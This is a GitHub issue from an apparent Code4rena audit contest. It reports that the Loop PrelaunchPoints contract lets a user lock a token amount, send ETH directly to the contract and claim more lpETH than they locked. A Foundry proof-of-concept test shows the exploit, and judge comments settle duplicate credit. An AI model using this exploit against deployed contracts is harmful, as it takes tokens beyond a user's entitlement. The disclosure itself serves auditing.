search

code-423n4 / 2024-05-loop-findings

4 stars 4 forks source link

Users are able to get more lpETH tokens than they have staked for during the locking period #25

Closed howlbot-integration[bot] closed 5 months ago

howlbot-integration[bot] commented 6 months ago

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L172 https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L240

Vulnerability details

Impact

The PrelaunchPoints contract allows a user to lock a very small amount of LRT tokens, and right before or during a claim, the user can transfer a large amount of ETH directly to the contract.

Originally, by design, lpETH tokens should be gained only from the contract by staking LRT tokens during the locking period and then claiming them after the locking period has ended.

However, using the method described above, a user will end up avoiding uncertainty and risks associated with the staking process and being able to claim as many LRT tokens as they want even after the locking period has ended. Even though the user isn't getting those lpETH tokens for free, the user is bypassing the staking process and avoiding the risks associated with it.

Following that, the documentation also states, "Deposits are active up to the lpETH contract and lpETHVault contract are set" which is an invariant, that is broken here and further more confirms this finding.

Example scenario

The amounts are simplified for the sake of easier understanding

Proof of Concept

The following Foundry test can be added to test/PrelaunchPoints.t.sol to demonstrate this finding:

Run the test using this command: forge test --match-test "test_DepositAndStakeAfterTheClaimStartDate" -vv

function test_DepositAndStakeAfterTheClaimStartDate() public {
        uint256 lockAmount = 1;
        address user1 = vm.addr(1);

        lrt.mint(user1, lockAmount);

        vm.startPrank(user1);
        lrt.approve(address(prelaunchPoints), lockAmount);
        // Alice locks 1 LRT token
        prelaunchPoints.lock(address(lrt), lockAmount, referral);
        vm.stopPrank();

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));

        // Locking period ends
        vm.warp(
            prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1
        );
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);

        bytes memory data = abi.encodeWithSelector(
            0x415565b0,
            address(lrt),
            ETH,
            ((lockAmount * 1) / 100)
        );

        vm.deal(user1, 10);
        vm.prank(user1);
        // Alice sends 10 wei directly to the contract, AFTER the locking period has ended
        (bool success, ) = address(prelaunchPoints).call{value: 10}("");

        uint256 temp = lpETH.balanceOf(address(user1));
        console.log("Alice's lpETH tokens before: ", temp);

        vm.prank(user1);
        // Alice claims the staked amount and receives 10 lpETH tokens
        // Originally, Alice should have received 1 lpETH as she locked only 1 LRT token, but she received 10 lpETH tokens
        prelaunchPoints.claim(
            address(lrt),
            1,
            PrelaunchPoints.Exchange.TransformERC20,
            data
        );

        temp = lpETH.balanceOf(address(user1));
        console.log("Alice's lpETH tokens after: ", temp);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Disabling the transfer of ETH directly to the contract after the locking period or disabling the transfer of ETH directly as a whole are some possible solutions.

Assessed type

ETH-Transfer

c4-judge commented 5 months ago

koolexcrypto marked the issue as duplicate of #6

c4-judge commented 5 months ago

koolexcrypto marked the issue as duplicate of #33

c4-judge commented 5 months ago

koolexcrypto marked the issue as partial-75

c4-judge commented 5 months ago

koolexcrypto changed the severity to 3 (High Risk)

radeveth commented 5 months ago

Hey @koolexcrypto!

I think this issue should be treated as a 100% duplicate of #33, since for example issue #26 describes the exact same exploit scenario as this issue and was selected as a 100% duplicate of issue #33.

koolexcrypto commented 5 months ago

Hi @radeveth

The issue takes 75% credit due to the quality. For example, "staking LRT tokens during the locking period"

There is no staking of LRT tokens. It's only locking, staking is for lpETH which happens after claiming.